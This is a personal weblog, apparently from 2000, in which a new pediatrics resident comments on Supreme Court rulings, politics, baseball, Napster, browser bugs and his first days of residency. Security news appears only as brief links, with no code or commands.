Yippee skippee! The Supremes today ruled 6-3 that prayers at school football games are just like prayers at any other school functions — verboten. The school district argued that football games are voluntary, not mandatory, and that the students themselves elected the people who gave the prayers; Justice Stevens, representing the majority, ruled that “School districts cannot exact religious conformity as the price of attending extracurricular events,” and “School sponsorship of a religious message is impermissible because it sends the ancillary message to members of the audience who are nonadherents that they are outsiders, not full members of the political community, and an accompanying message to adherents that they are insiders, favored members of the political community.” (The entire decision can be read here, in PDF form.)

In another decision I’m happy about, the Court held (via denial of review) that Louisiana cannot require school districts which teach the theory of evolution to also teach creationism. The logic was the same — that the law that would have required it is an impermissible mixing of government and religion — and not surprisingly, the voting blocs in both cases were the same (Rehnquist, Scalia, and Thomas on the minority side, and the other six Justices in the majority.) The PDF version of the decision is here.

I spent my whole day in the first of four intensive medical Spanish language classes, and I learned a lot about my brain. For instance, my four years of French are a lot closer to conscious memory than I previously thought; a number of times today, I read a Spanish phrase, and my brain quickly returned the French version thereof, rather than the English version. This is definitely one of those instances when I don’t get how I’m wired.

This makes me feel less-than-secure about flying out of LaGuardia, especially since nobody will confirm or deny that the air traffic controller at fault has been removed from his or her position in the tower.

Yummy yummy, new Bushisms of the Week. My favorite:

“I’m gonna talk about the ideal world, Chris. I’ve read—I understand reality. If you’re asking me as the president, would I understand reality, I do.”

MP3Lit has a hilarious taped call by comedian Mike Loew to an anti-abortion center online; I particularly love the part where the second woman comes online and screams how Mike has been deceived by Satan.

David Strom’s pseudoanalysis of the Realtime Blackhole List has been getting a lot of playtime, but it’s hard for me to see how it’s all that great. His biggest complaint seems to be that the RBL rules enforce a behavior — closed-loop confirmations on mailing lists — that isn’t an industry standard. So what? Closed mail relays used not to be an industry standard; you used to be able to send mail through any damn mail server you pleased. But in the interest of spam prevention, open mail relays are now verboten, as should be mailing lists that allow anyone to add anyone else to the list.

For those of you who are into such things, the CDC has a new set of growth charts available, and Austin Physician Productivity has already turned them into an app for your PalmPilot so you can instantly calculate percentiles for kids in your care.

If anyone finds one of these, I hereby declare that you must send it to me. I want it.

I agree with Gary Kaufman — it’s time to let Shoeless Joe into the Baseball Hall of Fame. Other players, with better evidence of game fixing, are in the HoF (e.g., Ty Cobb); Jackson’s performance, both over his career and in the Series that he was accused of fixing, definitely deserves recognition.

Uh oh — Julie, the Mormon girl on the Real World: New Orleans, is getting expelled from Brigham Young; it appears that her behavior on the show violated all kinds of school rules. Sucks for her, but she knew the rules…

I pointed to a few of Slate’s Diary series this past week, and have been working through most of them myself. When I got through Ben Stein’s entries, though, I almost had to vomit — I actually was a fan of his until I read them. He’s insufferable… he constantly talks about how much money he has, how many houses he has, how much power he commands, blah blah blah. Just shut the f!%* up!

Once again, I apologize — today has been an administrative, run around the hospital getting shit done until your knees fall off kind of day. It’ll be that way around here for a little while. Ack.

I’m not sure why yet, but I really like Doc Searls’ analysis of the Microsoft trial up through now.

I finally just read Courtney Love’s treatise on recording companies, technology, and sharecropping, and all I have to say is… wow. Very, very well-written, and if it’s a glimpse of reality in the market, then I feel much worse for artists than I previously did.

Salon has a pretty damn great summary and analysis of the Central Park groping incidents over this past weekend. And on a mostly-related issue, I agree with Cam on this one — there are inordinately more assholes who attend the Puerto Rican Day parade in New York than any other parade that I’ve seen. Every year, I watch people throwing all their trash into planters and the gutters; likewise, I stopped counting the number of people who I’ve seen urinating on the sides of buildings and cars during and after the parade. The night of the parade, the number of people who drive up and down Broadway honking their horns, playing their stereos at maximum volume, and screaming at the top of their lungs until 2 and 3 AM is astounding. Is this what the Puerto Rican community wants to have people associate their culture with? It’s very tempting when it’s this damn prominent only on their parade day.

Jessica Reynolds has one of the most beautiful, well-written, and flashback-to-childhood photo essays I’ve ever seen. Go see it. Now.

Today’s Slate diary entry (all week, emergency room doctor Jennifer Walser is writing ‘em) describes what a real ER is like. Surprisingly, it’s nothing like the eponymous NBC show.

I love this. On June 13th, Damien Barrett pointed to MacToolbox, but with the following warning: “Netscape crashes on much of this site because the designer uses too many nested tables.” Now, does anyone seriously believe that this is the site designer’s fault? Is there some IETF or W3C spec that defines a limit on nested tables after which Netscape is excused for crashing? Once again, the chorus sings — Netscape sucks.

Hank Barry, CEO of Napster, now claims that sharing copyrighted music over the Internet is legal. Next, he’s going to make gravity force things upward..

The summary from the second episode of Survivor is online. I really like the style of the person writing them — it echoes my thoughts while I watch shows like this. (I know, we’re now post-episode 3, but I’m not the one writin’ them, so don’t get on my back about it!)

This sucks — Grant Hill, of the Detroit Pistons (but for how long?), is out of the Olympics. He broke his ankle during the playoffs this year, and his injury is going to prevent him from playing in Sydney.

I didn’t realize that Mozilla’s Milestone 16 release was out, as of Tuesday. Seeing as almost all the bugs that matter to me were moved to some heretofore future release, I don’t know if I’ll be downloading it, though — I think I need to let it ripen a bit more.

The Bucks County Courier News has an article about the kitten with two faces that I talked about earlier in the week. I love the name that the family had chosen for the kitten — Image.

John Rocker, repugnant member of the Altanta Braves organization, is apparently a good pitcher again; he’s been called back out of the minors. The most exciting thing about this is that he’ll be able to make the series against the Mets in two weeks; I wonder if the fans out at Shea will give him any breaks, or if they’ll all show up with D batteries filling every pocket.

From MetaFilter comes a decent Inside.com story about yet another company that made the idiotic decision to not encrypt and/or destroy their old email — Napster. Turns out that early email between the company’s founders openly discusses the fact that the service would be used to exchange copyrighted music (and the illegality of this). Doh!

Oops.

I have had one of those tired-to-the-very-core-of-my-existence days, so perhaps I’ll update later. Until then…

OK, fine, I couldn’t resist one post. Today, the Southern Baptist convention in Orlando solidified my feelings about religion by declaring that women aren’t fit to be pastors, since the “office of pastor is limited to men by Scripture.” Idiots. (Isn’t this the same religion, though, that has disposed of part of the Scripture? Specifically, they forbid the drinking of any alcohol, despite the fact that wine plays a major role in various tracts of the Bible.)

OK, I feel a journal-ish entry coming on.

Quick day 2 summary: the student health services group at my former medical school is run by frickin’ idiots (who lost all records of my PPD placements and vaccine titers), my co-residents are all very, very cool, and I think I’m going to have a ton of fun this year. I definitely chose the right field.

Longer diatribe: today, I learned a few things, some cool, some not-so-cool.

First, I learned that a patient that I took care of for a long time (late last year) died earlier this year. He was a young kid from the Dominican Republic, who arrived at our emergency room direct from his flight into Kennedy; he brought papers declaring himself in need of a bone marrow transplant. Unfortunately, a transplant was not warranted for his condition (a metastatic form of leukemia) — in the most direct analysis, there was no evidence that it would help him at all, so every level of the hospital fought him and his family. When the family ended up raising the cost of the transplant and recruiting a private doctor to perform it, the hospital gave in and allowed use of the facilities and inpatient resources, but the graft did not take, and he died. And while I agree with the entire way that the course played out in his case, his death saddened me tremendously today.

Second, I learned that there are certain bureaucracies that you just cannot beat. Forget Bell Atlantic, Time Warner, or the IRS, the worst by far is my former medical school’s health services department. They lost all records of most of my immunizations and immunity tests, and no matter who I elevated the matter to, the answer was just as nonsensical. This means that my residency clearance will take twice as long, as my new occupational health department embarks on some completely ridiculous testing procedures to “clear” me.

Lastly, I learned that people who go into pediatrics are the kind of people that I want in my life. Everyone — from my chief residents down to my co-interns — is easygoing, understanding, and as concerned about the quality of our lives as he or she is about the quality of our residency. The people who comprise the team with whom I work first are great; I can already tell that the month of July will be made much, much easier by them and their attitude towards work. This makes me very happy.

This week, Slate’s Diary is by Jennifer Walser, an E.R. doctor at some New York hospital; her first entry shows that sometimes, the assumptions that doctors make about patients and their motives are just plain wrong.

After reading Walser’s entry, I went back and looked at all of the diaries that Slate has published. There are some amazing ones in there — three sets that I really enjoyed reading were those of Mary Manhein, a forensic anthropologist, Leslie Carr, a school nurse, and Michael Harrison, a boarding school dean. (Remember that there are five entries to each diary, one per weekday; it’s kinda hard to notice at first.)

Time to go to day 2 of orientation. More later!

Today starts the next chapter in my life — I start my pediatrics residency! I really haven’t been able to sleep for the past few days; it still seems so strange to me. Of course, we have orientation for two weeks, so hopefully I’ll be acclimated by the time I start on the inpatient wards at the end of June.

OK, I’m back from orientation, day 1. A few cool things to know:

  • there’s a website that handles all of the residency scheduling stuff (who’s on call, when, when is clinic, etc.) for residency programs all over the country;
  • my residency program is pretty cool in that the alumni association pays for my membership in the American Academy of Pediatrics;
  • my residency is 25% male, 75% female, yet I think maybe only three or four of the women are not married;
  • my residency is very serious about enforcing limits to work hours — the department secretary pages us at 10:30 AM on our post-call days to make sure that we aren’t in the hospital anymore;
  • I can never, ever, ever be on call on Monday night, since part of enforcing work hour limits means that I can’t be on call the night before I have my clinic, which is Tuesday. (I guess this means I need to find a bunch of people who go out drinking every Monday night!)

Researchers in my old hometown have found an interesting (but logical) conclusion: marital stress increases one’s risk of developing type II diabetes. It’s been known for a while that there is a pool of people who are at higher risk of diabetes; it’s thought that a stressful marriage is one of the factors that helps select those from this pool that go on to develop the disease.

Another ex-Yankee with drugs in his past rejoins the fold. I’m not sure how I feel about this, although it makes perfect financial sense (Tampa Bay still owes Gooden the majority of his salary, so the Yankees are taking nearly no risk).

Jason Hopper, of the California legal newspaper The Recorder, takes a look at Judge Jackson’s uncoventional interviews just after his Microsoft verdict. I didn’t know that Jackson had actually been taken to court (so to speak) because of an interview he granted after sentencing Marion Barry to jail; Jackson apparently doesn’t read judicial canon 3A(6) the same as most other judges. (That canon reads that a “judge should abstain from public comment about a pending or impending proceeding in any court.”)

Law.com’s bar·ometer makes a point I hadn’t though of — isn’t the Marion Jones commercial, which laments the fact that women athletes don’t make as much as men despite working just as hard, actually a Nike commercial? And isn’t Nike the company that uses Far East sweatshops to produce its products? And don’t those people work just as hard as American garment workers, yet get paid a very small fraction of their salaries?

Ugh! I saw the picture of the kitten with two faces on the AP photo wire this week, and fell in love. Yesterday morning, though, the kitten died… that wrecks my day.

Wow — despite not knowing what I’d do with it, I want a CerfBoard. (It’s a mini-mini-webserver which runs Linux and has a CompactFlash+ slot, built-in ethernet, USB, and serial ports, and a whole lot more.)

Alan Barra, sports columnist for the Wall Street Journal (I had no idea that such a job existed!), looks at the John Rocker saga and concludes that if he were playing well, it wouldn’t matter what he says. He’s right, too — the sports industry has never been good at hiding the fact that wins and losses matter much, much more than setting good examples and being good people. Just ask Ray Lewis, Dennis Rodman, Latrell Sprewell, Bobby Knight…

Because TerraServer-surfing appears to be the thing to do, last night I found my childhood home. (The big lot northwest from my home is where I learned how to play sports; it’s also where I learned that despite him being older, the fact that my brother was also smaller and lighter meant that I owned him.) I also found my high school, my middle school, and my swimming center. Both Matt and Ev are right — it’s a little spooky seeing all of my childhood places in bleak grayscale satellite images.

There’s something to be said for park crushes — when you’re out in the park, doing your thing (rollerblading and reading on the Great Lawn, in my instance), and someone just catches your eye and doesn’t let go. Of course, for me, when that person then reaches into her bag, pulls out a cigarette, and lights up, it’s like one of those record-scratch TV moments; time to find another crush.

Maybe I should be careful when I’m in the Park, though — the first few birds infected with West Nile virus have been confirmed.

Hee hee — there’s a small controversy in Washington about what Neil Armstrong actually said when he disembarked from the Eagle and became the first person to walk on the Moon.

Hmmmmm… because TiVo and ReplayTV owners are skipping through commercials on their recorded programs, the networks are pressuring the companies to remove the fast-forward and skip-ahead buttons from the units. In addition, both companies are looking into putting commercials into the recorded programs — either at the beginning and end, or in the time when you pause playback — that cannot be skipped. Looks like my VCR has a future…

Until recently, I had no idea that a friend of mine from college writes for McSweeney’s. Awesome.

In a contest for the most outrageous expense, judged by Scott Adams (creator of Dilbert), Oregonian Dan Wolff won for his expense of two voodoo dolls. The dolls were bought on a company trip and were going to be used to curse a critic of his company; he chickened out and didn’t go through with the curse, though.

You know how your MasterCard and Visa cards are issued by banks, and your American Express isn’t? That may not always be how it is; AmEx is claiming that MasterCard and Visa have illegally prevented them from using banks as issuers, and a court is allowing the case to go forward.

iron giant and hogarth

Hogarth, Hogarth, where art thou, Hogarth? Ahhh, there, under the chair, you were merely asleep. Don’t scare me like that.

Yet another place for me to get into trouble. Jenn’s move to the Gore 2000 campaign has left her ethically unable to maintain her political log, ANPA, so she’s left keys to the joint with a couple of us miscreants. Now I have another place to lean, politically-speaking.

New York Today (the to-do-around-town website of the New York Times) had an article yesterday that cracked me up — it’s about how the size of New York City apartments has created a niche business for designers, all with the goal of making tiny space into functional space. One guy has his bed against the ceiling, and lowers it with a series of pulleys and counterweights; another family has spare chairs hanging from the walls. New Yorkers will chuckle with recognition…

Another trojan has been detected, of course in an attachment. (I have no clue how it distributes itself, though, and the advisory doesn’t say.) It runs processes that allow crackers to control your machine, and then connects to an IRC server to broadcast that your machine is ready to be taken over.

Once again, Joel Spolsky delivers with another strategy letter. This time, he talks about barriers to entry, how successful companies have dealt with them, and how failure to address them makes yours an unsuccessful company.

Regarding the reprieve granted to death row inmate Ricky McGinn, Slate took a look at Dubya’s claim that he applied the same standards he’s applied to all executions under his governorship, and they didn’t like what they saw. The centerpiece of the article: the case of Jerry Lee Hogue, who proclaimed his innocence until the end, who had legitimate claims of innocence, and who also asked for a confirmatory DNA test — and was denied this request by Bush. Poor man didn’t have the luck of having his execution scheduled in an election year…

Who knew Texas would prove to be one of the more progressive states in declaring sodomy laws unconstitutional? In the words of the Texas appeals court, the problem with the laws is that “the simple fact is, the same behavior is criminal for some but not for others, based solely on the sex of the individuals who engage in the behavior.”

Law.com has a good column on music sampling — generally, the issues involved with bands sampling the music of other people, and specifically, the lawsuit brought by James Newton over the use of a central portion of one of his songs by the Beastie Boys.

If I had to make a list of the coolest physiological structures on this here planet, gecko feet would certainly be on it. We used to have geckos all over the place in San Antonio, and being fascinated watching them effortlessy crawl anywhere was a big part of my childhood.

For all you New Yorkers out there, just what you didn’t want to know about your favorite restaurants.

Wendell, Wendell, where art thou, Wendell?

I can’t even begin to understand how this man’s vision returned after ten years of blindness. I actually couldn’t stop thinking about this while trying to fall asleep last night, and I’m stumped.

The John Rocker saga continues — he’s now considering not showing up for the minors, instead going to business school to complete his degree and becoming a stockbroker. Scariest to me is that he blames Jeff Pearlman, the SI reporter, for all of his problems; he claims that had Pearlman apologized to him “for everything [I’ve] been through,” he wouldn’t have confronted him this past weekend and threatened him. UPDATE: Rocker reported to the minors today, seemingly opting to put his stockbroker career on hold.

The Microsoft ruling doesn’t surprise me a bit, but only because I don’t think that Judge Jackson could have pigeonholed himself as a more partial judge if he tried. There are still two possible steps remaining in this trial (Federal Appeals Court and Supreme Court), so I’ve found that I’m totally uninterested in the spin from both sides right now. What I do find shocking, though, is that Judge Jackson would grant interviews with the Washington Post and the Wall Street Journal in a case which is still open, and in which he still has decisions to make. He is truly shameful.

Also, I still firmly believe that any move to fast-track the case directly to the Supreme Court is merely an attempt to avoid the Appeals Court which has previously ruled unanimously against Jackson, accusing him of abuse and a tendency to invent judicial powers where there are none.

yeah, but more than 100,000 people are killed in the US every year by the drugs doctors routinely prescribe, and another 100,000 people (conservative estimate because of the ethical failure of doctors in underreporting) are killed by medical errors, so don’t you think that ‘catching’ 23 women in six years with an extremely rare mental disorder — where the kids did not even die! — kind of pales in comparison to much bigger problems (i.e., 200,000 deaths) caused by the doctors themselves? Physicians, heal thine own confused and extremely dangerous system first!

A healthcare company in Atlanta ran a study in which they placed secret cameras in certain pediatric hospital rooms in order to catch mothers inducing illness in their children. This phenomenon, in actuality a disease called Munchausen by proxy, is scary; I’ve been involved in diagnosing it, and it’s never an easy thing to suspect, to accept, or to report. (Interestingly, Munchausen by proxy occurs more with mothers who work in the healthcare field, and thus have some knowledge of how to manipulate the system.)

More Dubya hypocrisy: despite his strong and frequent disparaging of casinos and gambling, tomorrow Bush will be attending a quarter-million dollar fundraiser hosted by the following people:

My favorite part, though, is that Dubya still claims that he just won’t accept money from gaming PACs; if this isn’t the same as the supposed distinction Clinton tried to draw with the term “sex,” then I don’t know what is.

Al Franken has written a dead-on editorial pleading with ABC to not bring Rush Limbaugh onto the staff of Monday Night Football. As a man whose only football experience was playing on his high school team (and who lied about said experience when talking about why he was deferred from the draft), and as someone with the ability to let the most offensive and inexcusable statements pop out of his mouth, I just don’t think I’d be watching MNF any more.

As if Worldcom doesn’t have enough to deal with, yesterday the company agreed to pay $3.5 million in penalties resulting from slamming, or changing consumers’ long distance carriers without permission. Slamming is the lowest form of low; I’ve always thought that the ultimate penalty should be an enforced period during which a company cannot sign up new long-distance customers, period.

Say what you will about Mozilla, but their bugtracking system has given me my share of laughs. Yesterday, I was surfing through it, looking at the status of some bugs that I’ve reported, and I came across a big FTP bug. Currently, you can only have one FTP download going at any point in time; if you click on a second FTP download while the first is still going, the second won’t start until the first ends. The funny part, though, is the response that Bill Law entered into the ticket when he was asked to justify fixing this bug:

Because it sucks to request some action and get no response till some random point in time later, and, to get bogus feedback on what’s happening. People will find other software that doesn’t present such obstacles and use that instead. That sucks.

Also from Bugzilla comes a pointer to a page that describes the proper inheritance rules for when there’s an HTML definition of an object that contradicts a CSS definition of the same object. (This is a big issue in Mozilla’s handling of tables right now.)

I don’t know why, but I think it’s cool when someone writes their own bit of software to make their weblog database-driven. Dan’s weblog, BrainLog, is driven by PHP and MySQL; pre-Blogger, Meg’s MegNut was run out of a SQL Server database. (Of course, both Manila and Blogger maintain their data in databases, as well, but people can and do use those without ever seeing how they work or tinkering. It’s that tinkering that I think is so neat.)

Ever since I read High Fidelity, I’ve had a goal — to learn to throw around British slang and cursing like a pro. That’s why I was so happy to get my unexpected first lesson today from Katy: “Bugger arse shit stinkbadger buggery buggery bollocks.” And then, within minutes, Prolific sent me to a British slang dictionary — I’ve found my textbook!

From Firda comes Rock-Paper-Scissors-Spock-Lizard, the single-hand game for the new millennium.

There’s a bug with how Internet Explorer checks SSL certificates in certain cases; Microsoft has already issued a patch for the problem for IE 5.01, and will have the patch for IE 4 soon.

*frown* I’m supposed to go see the Mets play tonight, but it’s raining! Best laid plans… I hope it doesn’t rain for the concert in the Park tomorrow night.

I don’t get how the Xenote iTag works. How is a radio-station “Xenote-enabled”? What does the iTag record when you push the button? Update: Brennan has the answer. (Get permanent bookmarks, Brennan!)

Napster has struck a deal with Offspring that will prevent the company from being in the uncomfortable position of defending its copyright while allowing others’ copyrights to be trampled.

John Rocker has been banished to the minors. The Braves are claiming that it’s because his arm is in terrible shape, but it’s clear that this is part of his punishment. Interestingly, if Rocker remains in the Minor League for over 20 days, he won’t play the requisite number of days in the Majors to qualify for salary arbitration next year; without arbitration, Rocker will probably lose around $2.5 million of his salary money next year.

And in other sports news, the world apparently isn’t quite done with Bobby Knight. First, the Louisville Courier-Journal pubished a report this week detailing exactly how complicit Indiana has been in Knight’s behavior, and how little they’ve done about it in the last 27 years. The report is damning — for example, IU president Myles Brand met with a disciplinary committee about Knight nearly a week before the CNN/SI report showing Knight choking Neil Reed, about many of the allegations of which Brand later said the school had never been notified. And then, if that’s not enough, Ron Felling (the assistant coach that was fired after being attacked by Knight) is suing Knight and Indiana for $1 million, saying not only that he was attacked but that Indiana has never disciplined Knight, creating an atmosphere that allowed Knight to remain violent and confrontational.

I followed the link to the list of ten such plays, confident that every single one of them would be by either a 2B or a SS. Imagine my surprise when I saw that two of them had been done by first basemen.

How the heck does a first baseman perform an unassisted triple play?

It’s obvious how a 2B or SS does it: catch a fly, tag second base for a man from second who ran, and wait for and tag a guy coming in from first.

But how does a first baseman do it? Even without the infield fly rule, I can’t think of a plausible scenario which doesn’t have him WAAAY out of position. (Of course, an unassisted double play is easy for a first baseman.)

I just stumbled across possibly the single best Central Park reference in all the world. I **heart** this site.

NO!!! AP is reporting that APBNews.com has run out of money and fired its entire staff. I love APBNews — it’s a great source of news about law enforcement, the law, and the judicial system. Their fight to open what are supposed to be public Federal judicial disclosure forms is a fight that needs to continue.

In Troxel v. Granville, the Supreme Court today struck down the Washington law that allowed non-parents and non-relatives to petition for child visitation rights against the wishes of the child’s parents “so long as a parent adequately cares for his or her children.” Interestingly, the case generated six decisions, none of which were joined by a majority of five or more Justices; all summed up, though, the decision was 6-3.

In addition, the Court struck down the Ken Starr indictment against Webster Hubbell — the Justices ruled 8-1 that Starr’s office used documents against Hubbell that were obtained under a grant of immunity to him, and thus violated his right against self-incrimination.

I found out about SurvivorSucks.com just in time for this week’s episode. I particularly like the haiku section, although you would have to have seen the first episode to understand Susan’s haiku.

I honestly thought that John Rocker was making progress, concentrating on his game and getting past the SI article that exposed him as an intolerant lout with poor judgment. Then yesterday, he went and threatened the author of that article, Jeff Pearlman, in a Turner Field tunnel before the Yanks/Braves game. Unbelievable.

Of course, not all’s rotten in the game of baseball. On Monday of last week, Randy Velarde turned an unassisted triple play in Oakland’s game against the Yankees. This is an amazingly difficult feat to pull off; for those non-baseball people out there, it means that one player got all three outs of the inning on the same play. Baseball historians place the likelihood of it happening in a game at lower than those of being struck by lightning. As evidence of that, it was only the tenth unassisted triple play in the history of baseball.

So goes life in a love-hate marriage: Tommy Lee spent Memorial Day weekend in jail after his adoring wife, Pamela Anderson Lee, reported him to the District Attorney. What did she report? His parole violation of drinking champagne on New Year’s Eve, while celebrating with her. They are such a healthy couple.

Wow, I just wasted a little too much time reading The Tick FAQ (not about little bugs, but instead about the splendiferous comic book and animated series that, sadly, has gone the way of the dodo bird).

This weekend, I discovered Chuck Musciano’s Tag of the Week column on WebReview, and it’s a great find. He’s been writing it since January 1998, and for the past ten months, he’s been covering every single CSS topic imaginable. This week’s column (on the clear and display elements) is the last on CSS; next week, he starts looking at XHTML.

Oh wow oh wow oh wow — PEZ!!! I’ve never seen the Simpsons Pez dispensers, or the Kermit one. Memories, memories.

Proof of Matt’s Iron Giant has finally arrived. You’re doing the right thing, Matt — free the Giant and have a robot fight with Meg!

What an amazing, amazing column on the linguistic inadequacies of Dubya (“President Jabberwocky”), and why they disqualify him from running the United States.

Every sentence is an adventure. Will he reach the end of it? What fiendish grammar monsters and vocabulary mutants are waiting to trip him up? Curious George Loses his Synapses. I honestly think that once the man starts a sentence, he’s forgotten exactly what he’s said by the time he’s three or four words into it.

I also find it amazing that Mike doesn’t recognize the difference between a person running for President of the United States and a person who maintains a personal weblog. Oh, and if you want to pick hairs, Mike, the second bit you quote is a typo, not a grammatical error, and I’m sure you’ll find more of them here on Q, just as you will find both on (“wihtout”) your (“Amercan”) own (“if a sure-fire recipe”, first paragraph) site (split infinitive “to even make”, third paragraph). (Thanks for pointing my errors out, though; they’re fixed.)

My last contribution to this silliness, since I tire of it quickly: I have never said that Bush’s grammar is the mark of his idiocy — it is one mark, a confirmatory piece of evidence, if you will. (Other bits of evidence exist, as well, and my feeling is that they all add up to a scary package.) And I am perfectly willing to be judged by my own standard — I hereby proclaim that my typos and grammatical errors should be used against me if I ever run for President. Hell, I’ll even host a website detailing them.

Remember the potato-powered webserver? It was a hoax.

The worst-case scenario is coming true for Oregon’s new law that forces open adoption and birth records. Patrick Niiranen killed his adoptive parents — bludgeoned them to death with a sledgehammer — and has now requested the original records to identify his birth mother. The Oregon law has no exceptions that will prevent the release of the information.

One thing that bothers me about this is that the courts and authorities claim that their hands are tied in cases like this, where the information being released is about an ordinary citizen, but when it comes to releasing information about judges, they drag their feet, use every stall tactic in the book, and then overtly break the law by refusing release of the information. At least to me, it’s clear that releasing information about Niiranen’s birth mother is much more dangerous than releasing information about whether a judge has ruled in a case in which he or she has a financial stake; maybe it’s just me.

Damn the opensource community’s twofaced approach to the law. A few opensourcers are getting their panties tied in a knot over an apparent violation of the GPL by Microsoft. Why does this piss me off? Because this is the same community that is rallying around Slashdot in their open violation of well-established copyright law. (Of course, they are doing so simply because it is Microsoft’s copyright that is being violated, so they feel that it’s somehow less illegal.) I will repeat this again: the GPL only has legal standing because of copyright law. Thus, as a community, you look like total asses if you complain about someone violating the GPL, and rally behind someone violating the teeth behind the GPL.

Of course, the GPL violation seems to be due to Microsoft swallowing up Softway Systems and their products; the violation appears to have occurred under Softway, not Microsoft. This wouldn’t be a story if Microsoft weren’t accused, though, so it’s pretty clear why it’s playing out like it is.

Frickin’ Knicks. They’re out, for another year. (Although last year I forgave them, since my true love, the San Antonio Spurs, beat them.) In the postgame interviews, Patrick Ewing looked like he just wanted to jump off a cliff.

I saw Small Time Crooks last night, and while it was funny, it wasn’t even close to the movies of Woody Allen’s heyday. Michael Rapaport was pretty great, though.

Linux users are finally about to be able to legally watch DVDs. Cool.

I came across an interesting Windows 2000 security website last night; it seems to be part-information, part-advertisement, but it has a fair amount of good information for the Win2K beginner.

Any medical student could have told you that on average, women doctors have a better bedside manner.

I think it’s pretty damn funny that The Offspring are selling bootlegged Napster merchandise from their website. It’s a little strange, though, that a pro-Napster group is doing this; it seems logical that it would be someone like Metallica that forces Napster into the position of trying to defend its copyrights while flagrantly allowing the copyrights of hundreds of artists to be trampled.

Good luck to the New York women’s club rugby team, leaving this morning for Chicago for the National Championships! (Now, if only there were an ESPN-like website to keep track of the results this weekend…)

Yeah, maybe this is for other people too, but this link to the Peanuts tribute comics is mostly for me — I want to come back to it and savor them all.

I’m interested in getting a portable MP3 player, but I really want one that takes CompactFlash cards, rather than SmartMedia. Does anyone have any suggestions?

Wowzers — I had no idea that Ricky McGinn, the man whose execution Dubya stayed yesterday, would be dead by now had a tornado not leveled his defense attorney’s office the day before his initial execution date, April 27th. Of note, Bush didn’t step in before that execution date, despite the fact that the same evidence and the same arguments were present then as they were yesterday. Dubya is such an ass.

I knew I’d read a debunking of the lemming suicide myth before, and finally, I’ve found it again, thanks to memepool.

In another effort to prevent Elian and his father from leaving the U.S., Donato Dalyrmple, remora fish to the sharks of the Gonzalez family and the U.S. media, has filed an emergency motion to schedule depositions of both. Being that this was filed by the neoconservative group Judicial Watch (the lawyers for remoraboy in his $100-million-plus lawsuit against Reno and the INS), it’s hard to see it as anything more than additional stupidity, but I guess that’s for a court to decide. At least this article gets it right, though — the first paragraph refers to Dalyrmple as a housecleaner, not a fisherman.

SANS has published their list of the 10 Most Critical Internet Security Threats, along with advice on how to eliminate the threats. It’s not a bad document to start with if you’re a sysadmin who doesn’t keep up with security alerts for your operating systems; that being said, it’s just a starting point, and you should be subscribing to the various lists and other alert mechanisms that cover security for the systems that you run.

And then Elian was freed. The text of the unanimous decision is already online (CNN has the page scans with footnotes, and FindLaw has a PDF):

We have not the slightest illusion about the INS’s choices: the choices — about policy and about application of the policy — that the INS made in this case are choices about which reasonable people can disagree. Still, the choices were not unreasonable, not capricious and not arbitrary, but were reasoned and reasonable. The INS’s considerable discretion was not abused.

I’d love to think that Dubya recommending a reprieve for a Texas death row inmate isn’t political pandering, but I know I’d be wrong. (Of note, the recommendation in this case comes in the face of the Texas Parole Board voting 18-0 against commutation of the sentence and 11-7 against a one-time 30-day reprieve; this is only important because Bush has claimed in the past that he doesn’t intervene in death cases precisely because the Parole Board, not the governor, has ultimate authority over such things.)

Another big company unable to deal with a little parody.

An interesting twist in the constant battle between pharmaceutical companies and patients: a federal district court has given consumers individual standing to sue drug companies which illegally obstruct generic drugs from coming to market and competing. The drug at issue in this case: warfarin sodium, marketed as Coumadin by DuPont, which came off-patent in 1962 and is one of the most prescribed drugs on Earth.

I know this is being logged elsewhere, but I just wanted to express my own happiness about Salon jettisoning much of their recent redesign, keeping some of the visual niceties but also bringing back some of the functional niceties. Editor David Talbot has also written a letter to readers about the re-redesign, which is a great move.

A sad day — yesterday, NewsWatch ceased operations. NewsWatch was a website, run by the nonprofit Center for Media an Public Affairs, that was devoted to keeping a watchful eye on the mainstream media — they took looks at the media’s reporting of everything from the election to the AOL/Time Warner merger to Elian. The site will be missed. (Wired is covering the closure, as well.)

Wow — Jon came up with some pretty damn amazing links to things sport-related. To name a few: I had never seen the Nike soccer ad (“football” to all non-Americans), which I think is just friggin’ beautiful; he found the article about Dion Rayford getting stuck in a Taco Bell window after demanding his chalupa; and he uncovered the official sport of Maryland.

Linux Weekly News took a look at the webcam that powers QuesoCam2, and liked what they saw. I really like it; it’s a plug-and-play network device, trivial to set up, and has pretty damn great picture quality. What’s not to like?

From Dan: there’s a way to get pure digital output from DVDs, unencumbered by scrambling or MacroVision. It turns out that the DVD gurus thought about banning FireWire ports on DVD players, but neglected to ban SDI (serial digital interface) ports, the ports used by high-end big digital displays like plasma screens and projectors. I wonder how long it’ll be until the masters of DVD amend the rules…

Flash opinion at 8:12 PM ET — Survivor is an overproduced, more contrived version of Real World, if that’s even possible. My favorite part so far: that there’s a fake freshwater supply — it looks like a big water cooler that’s planted in the ground some distance away from each camp, and that is probably refilled by CBS frequently.

Holy crap, is Netscape screwed up. After yesterday’s addition of native CSS support to Manila’s calendar, I redid my cascading stylesheet to support it. Now, Netscape’s rendering of the calendar is horrendous. (If you’re running Netscape, see the line of weekday names? See how Friday and Saturday are rendered differently? Look at the source of the page; there’s nothing different about those two days when compared to the other five. Netscape just wants to make it look terrible.)

Rumor has it that Matt has himself an Iron Giant robot. Speaking for the community of addicted folks, we demand pictures.

It’s nice to see a relatively positive article about the things that the Internet brings to medicine, both for patients and doctors. (Of course, since it’s the New York Times, that link will only work until they decide to make you pay for the article.)

Round four of the Blog-Off is on, with the topic “Sport”. Contestants: Jon and Dan. If it holds to prior form, one will win, the other will unleash a vindictive torrent upon the web; nonetheless, the links that both have come up with are pretty damn amazing.

Why have I never heard of this recalled Dr. Seuss book? It’s pretty morbid, so I see why it was taken out of print, but I thought I knew a lot about Seuss until I read this. (Bill Stillwell discovered Seuss political cartoons, as well.)

Last night, Matt mentioned that Yahoo has gotten into the weblog catalog business. I wonder who maintains this list? There are some solid logs on the list, but it’s missing some biggies, too (and I don’t mean Q, although it would be nice if it were there).

Salon takes a look at the life of Charles Barkley, one of the most interesting men in sports today. (OK, so he’s retired, you get my point.)

Rebecca pointed yesterday to a column by Bishop John Shelby Spong about the Anglican divide over the issue of homosexuality, a column with the following terrific statement:

Let me say this carefully, but clearly. Anyone who elevates their prejudices to the position where they are defended as the will of God is evil. Anybody who justifies their denigration of another person’s being based upon a quotation from an ancient sacred text called the Word of God is simply out of touch with contemporary scholarship. Anybody who will not open themselves to the new knowledge readily available in medical and scientific circles because it calls into question their uninformed attitudes is profoundly ignorant.

